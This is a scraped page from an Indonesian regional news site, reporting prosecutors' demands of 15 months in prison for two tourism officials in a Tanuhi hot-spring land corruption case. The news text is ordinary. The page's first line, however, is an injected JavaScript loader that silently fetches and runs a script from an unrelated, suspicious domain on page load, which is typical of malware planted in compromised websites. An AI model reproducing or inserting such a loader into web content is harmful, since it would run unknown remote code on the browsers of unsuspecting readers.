(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Sidang kasus korupsi perluasan lahan objek wisata pemandian air panas Tanuhi, Kecamatan Loksaso, Kabupaten Hulu Sungai Selatan (HSS) memasuki tahap penuntutan.
Pada Senin (11/9/2023) siang di Pengadilan Tipikor Banjarmasin,terdakwa Moh Zakir Maulidi dan Eko Hendra Wijaya dituntut Jaksa Penuntut Umum (JPU) bersalah dengan pidana penjara selama 1 tahun 3 bulan dan denda Rp50 juta subsider 3 bulan kurungan.
JPU dari Kejari HSS, kedua terdakwa dinyatakan terbukti bersalah melakukan korupsi sebagaimana dakwaan kesatu subsider pasal 3 Jo pasal 18 Undang-Undang Nomor 31 Tahun 1999 sebagaimana diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang pemberantasan tindak pidana korupsi Jo pasal 55 ayat (1) ke 1 KUHP.
Baca juga: Dua Terdakwa Kasus Korupsi Lahan Bendungan Tapin Minta Dibebaskan
Sementara JPU menyatakan kedua terdakwa tidak terbukti memperkaya diri sendiri dan merugikan keuangan negara sebagaimana dakwaan primer kesatu Pasal 2 ayat (1) UU Pemeriksaan Tipikor, sebab keduanya dikatakan telah mengembalikan seluruh kerugian negara pada saat proses penyidikan.
“Membebaskan terdakwa Moh Zakir Maulidi dan terdakwa Eko Hendra Wijaya dari dakwaan primair tersebut,” ucap Masden Kahfi saat membacakan tuntutan.
Dalam pertimbangan yang memberatkan, kedua terdakwa dikatakan tidak mendukung program pemerintah dalam pemberantasan tindak pidana korupsi.
Baca juga: Panen dan Tanam Padi Serentak di Tala, Stok Pangan Kalsel Hadapi El Nino
Sementara itu, JPU menyebut ada empat poin yang meringankan terdakwa Zakir Maulidi dan Eko Hendra.
“Terdakwa belum pernah dihukum, bersikap sopan di persidangan, mempunyai tanggungan keluarga, dan telah mengembalikan kerugian negara seluruhnya,” kata Masden.
Sebelumnya, berdasarkan audit BPKP Kalsel menyatakan terdapat kerugian negara sebesar Rp818.475.526 dari total anggaran sekitar Rp2 miliar untuk perluasan lahan objek wisata Tanuhi yang berlokasi di Kecamatan Loksado, Kabupaten HSS pada tahun 2020.
Baca juga: Satu Tuntutan Gugur, Sidang Korupsi Bendungan Tapin Tinggal Dua Terdakwa
Kasus itu menyeret dua pegawai Disporapar HSS -mantan Kabid Pariwisata Moh Zakir Maulidi- yang bertindak sebagai PPK pada proyek perluasan. Dan Eko Hendra Wijaya -Kasi Destinasi Pariwisata Dinas Pemuda Olahraga dan Pariwisata- yang bertindak sebagai PPTK.
Sejak penyidikan hingga persidangan di Pengadilan Tipikor Banjarmasin, kedua terdakwa tidak dilakukan penahanan alias hanya berstatus sebagai tahanan kota.
Sementara itu, atas tuntutan pidana 1 tahun 3 bulan tersebut, tim penasehat hukum kedua terdakwa yang diketuai Diankorona mengatakan akan menyiapkan pledoi (pembelaan) pada sidang berikutnya. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, MARTAPURA - Suasana khidmat mewarnai peringatan Maulid Nabi Muhammad SAW yang digelar Pemkab Banjar… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Menjelang penetapan calon gubernur dan wakil gubernur relawan Muhidin-Hasnur dari 13 kabupaten… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kabar Minggu Raya –kawasan kuliner- di jantung Ibu Kota Provinsi Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Syair-syair maulid sebagai pujian kepada Nabi Muhammad SAW menggema di Masjid Sultan… Read More
KANALKALIMANTAN.COM - Kamu mungkin sudah tahu bahwa profesi farmasi adalah salah satu pilar penting dalam dunia… Read More
KANALKALIMANTAN.COM, MARTAPURA - Suasana di Pasar Terapung Lokbaintan, Kecamatan Sungaitabuk, Kabupaten Banjar pada Minggu (15/9/2024)… Read More
This website uses cookies.